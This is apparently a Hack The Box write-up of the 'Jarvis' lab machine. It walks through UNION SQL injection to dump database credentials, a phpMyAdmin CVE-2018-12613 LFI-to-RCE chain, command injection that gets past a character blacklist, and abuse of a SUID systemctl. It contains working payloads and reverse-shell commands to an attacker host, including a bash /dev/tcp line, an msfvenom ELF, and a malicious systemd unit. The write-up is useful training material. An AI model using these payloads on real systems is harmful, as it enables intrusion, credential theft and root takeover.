Jarvis — Hack The Box

InfoValue
OSLinux
DifficultyMedium
IP10.10.10.143
Hostnamejarvis.htb
ServicesSSH (22), HTTP/Apache (80), HTTP/Apache (64999)

Enumeration

Nmap

sudo nmap -Pn -sC -sV -p- -vvv -oA scan/nmap.scan jarvis.htb

Open ports:

  • 22/tcp — OpenSSH 7.4p1
  • 80/tcp — Apache 2.4.25 — Stark Hotel website
  • 64999/tcp — Apache 2.4.25 — displays “Hey you have been banned for 90 seconds, don’t be bad”

Web Enumeration

Port 80 serves a hotel website (Stark Hotel). Custom header IronWAF 2.0.3 detected — behavioral WAF that monitors request patterns and bans IPs via iptables redirection to port 64999.

The application uses room.php?cod= to select and display individual hotel rooms — a dynamic parameter interacting with the database.

phpMyAdmin found at /phpmyadmin/ — version 4.8.0, vulnerable to CVE-2018-12613 (LFI → RCE). Requires authentication.


Foothold — SQL Injection in room.php

Deep dive: UNION-Based SQL Injection

Vulnerability

UNION-based SQL injection in room.php?cod= parameter. The parameter is passed directly into a SQL query without sanitization. User-controlled input selects a room by ID and the result is reflected in the page HTML, enabling UNION-based data extraction.

Structural root cause: unsanitized user input concatenated directly into SQL query. No parameterized queries or prepared statements.

Injection confirmation

GET /room.php?cod=1+AND+IF(1=1,SLEEP(5),0)
# Response delayed 5 seconds → confirmed injectable

Column count determination

GET /room.php?cod=1+ORDER+BY+7   → 200 OK
GET /room.php?cod=1+ORDER+BY+8   → different response
# 7 columns in the query

Reflected column identification

GET /room.php?cod=9999+UNION+SELECT+1,2,3,4,5,6,7

Non-existent cod=9999 forces empty original result. Numeric markers reveal which positions render in the page.

Database enumeration

GET /room.php?cod=9999+UNION+SELECT+NULL,GROUP_CONCAT(schema_name),NULL,NULL,NULL,NULL,NULL+FROM+information_schema.schemata

Credential extraction

GET /room.php?cod=9999+UNION+SELECT+NULL,GROUP_CONCAT(User,":",Password),NULL,NULL,NULL,NULL,NULL+FROM+mysql.user

Result: DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

MySQL SHA1 hash cracked via CrackStation: imissyou

phpMyAdmin access

Logged into phpMyAdmin at /phpmyadmin/ with credentials DBadmin:imissyou.

RCE via CVE-2018-12613 (LFI in phpMyAdmin 4.8.0)

Vulnerability — CVE-2018-12613

phpMyAdmin 4.8.0 — Local File Inclusion via the target parameter in index.php. The LFI can be chained with SQL query execution to achieve RCE by including PHP session files that contain attacker-controlled SQL output.

Structural root cause: insufficient validation of the target parameter allows path traversal using double URL-encoded ? (%253f) to bypass the whitelist check. phpMyAdmin validates that the target parameter matches a known script name, but the %253f is decoded to %3f by Apache, then to ? by PHP — splitting the path so the server includes the traversal path while phpMyAdmin sees a whitelisted script name.

Ref: https://nvd.nist.gov/vuln/detail/CVE-2018-12613

Exploit used: exploit.py (CVE-2018-12613 RCE by samguy). The exploit chain:

  1. Authenticates to phpMyAdmin with DBadmin:imissyou
  2. Executes a SQL query that writes a PHP webshell (<?php system("COMMAND") ?>) into the session data
  3. Triggers the LFI via index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_SESSION_ID
  4. The PHP session file is included and the embedded webshell executes the command

Reverse shell

bash -c for reverse shells through system()

The exploit executes a single command via system(). To obtain an interactive reverse shell, the command must be wrapped in bash -c — without it, shell-specific syntax (redirections, >&, /dev/tcp) is interpreted by system() (which invokes /bin/sh) and fails silently.

python3 exploit.py 10.10.10.143 80 /phpmyadmin DBadmin imissyou 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1"'
# Listener on attacker
nc -nvlp 443

Shell obtained as www-data.


Lateral Movement — www-data → pepper

sudo -l as www-data

www-data@jarvis:$ sudo -l
User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

www-data can run simpler.py as pepper without password.

Command injection in simpler.py

The script provides a ping functionality (-p flag) that takes a user-supplied IP address and passes it to os.system(). The vulnerable function:

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

The blacklist filters &, ;, -, backticks, ||, and | — but does not filter $() command substitution.

Vulnerability

Command injection via $() command substitution syntax. The filter blocks common shell operators but does not filter $(), which bash evaluates before passing to the command.

Structural root cause: incomplete input validation — blacklist approach instead of whitelist. The script filters known-bad characters but misses $() substitution syntax. A whitelist allowing only digits and dots ([0-9.]) would have prevented all injection vectors.

Exploitation

The - character is blacklisted, which blocks most reverse shell one-liners (nc -e, bash -i, etc.). Workaround: compile a static ELF binary that performs the reverse shell connection without needing - in its invocation.

# On attacker — create reverse shell binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f elf -o test.elf
# Transfer to target via wget (hosted with python3 -m http.server)
# On target as www-data
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: <ATTACKER_IP>$(/tmp/test.elf)

The $() substitution executes /tmp/test.elf as pepper before the ping command runs.

Reverse shell as pepper

nc -nvlp 443
# connect from target → shell as pepper

User flag:

pepper@jarvis:~$ cat user.txt

Flag obtained.


Privilege Escalation — pepper → root

Enumeration as pepper

pepper@jarvis:$ sudo -l
# Requires password — no sudo access
 
pepper@jarvis:$ find / -perm -4000 -type f 2>/dev/null
/bin/systemctl SUID root
/bin/fusermount
/bin/mount
/bin/ping
/bin/umount
/bin/su
...

/bin/systemctl has the SUID bit set — it runs with root privileges regardless of who executes it.

Vulnerability

SUID systemctlsystemctl with the SUID bit allows any user to create, enable, and start arbitrary systemd services that execute as root. An attacker creates a malicious .service unit with ExecStart pointing to a reverse shell, enables it, and starts it — obtaining a root shell.

Structural root cause: systemctl should never have the SUID bit. Systemd service management is a root-only operation by design. Setting SUID on this binary grants any local user the ability to define and execute arbitrary code as root through service unit files.

Ref: https://gtfobins.github.io/gtfobins/systemctl/

Malicious service creation

pepper@jarvis:/dev/shm$ cat root.service
[Unit]
Description=roooooooooot
 
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/9999 0>&1'
 
[Install]
WantedBy=multi-user.target

Service activation

pepper@jarvis:/dev/shm$ /bin/systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service /dev/shm/root.service.
 
pepper@jarvis:/dev/shm$ /bin/systemctl start root

Root shell

nc -nvlp 9999
# connect from target → shell as root
root@jarvis:~# cat /root/root.txt

Flag obtained.


Attack Chain Summary

Nmap → 3 ports (22, 80, 64999)
  ↓
room.php?cod= → UNION SQLi → DBadmin:imissyou
  ↓
phpMyAdmin 4.8.0 → CVE-2018-12613 (LFI → RCE) → bash -c reverse shell → www-data
  ↓
sudo -u pepper simpler.py → command injection via $() → test.elf reverse shell → pepper
  ↓
SUID /bin/systemctl → malicious .service → reverse shell → root

Flags

  • User: (obtained as pepper via command injection)
  • Root: (obtained via SUID systemctl service abuse)

Lessons Learned

  • UNION SQLi requires empty original result: if the original query returns data, the UNION row is silently discarded. Always use a non-existent ID (cod=9999) to force the application to render injected data. See UNION-Based SQL Injection.
  • Blacklist filters are inherently incomplete: simpler.py blocked &, ;, -, backticks, | but missed $() command substitution. A whitelist ([0-9.]) would have been unbreakable. When encountering a blacklist, enumerate what’s allowed, not what’s blocked.
  • SUID binaries — always check GTFOBins: after find / -perm -4000, cross-reference every result against GTFOBins. Open the SUID list and check each binary one by one. Standard binaries like mount, ping, su are expected SUID — anything else (like systemctl) is immediately suspicious.
  • bash -c for shell syntax through system(): PHP’s system() invokes /bin/sh, which may not support bash-specific syntax (>&, /dev/tcp). Wrapping in bash -c "..." ensures bash interprets the command.
  • ELF binaries bypass character blacklists: when a filter blocks - or other characters essential for reverse shells, a precompiled binary (msfvenom ELF payload) needs no arguments — just execute it.

Timeline

  • Total time:
  • Where I spent the most time: SQL injection — understanding UNION-based extraction, GROUP_CONCAT, and cross-database querying
  • Subjective difficulty: /10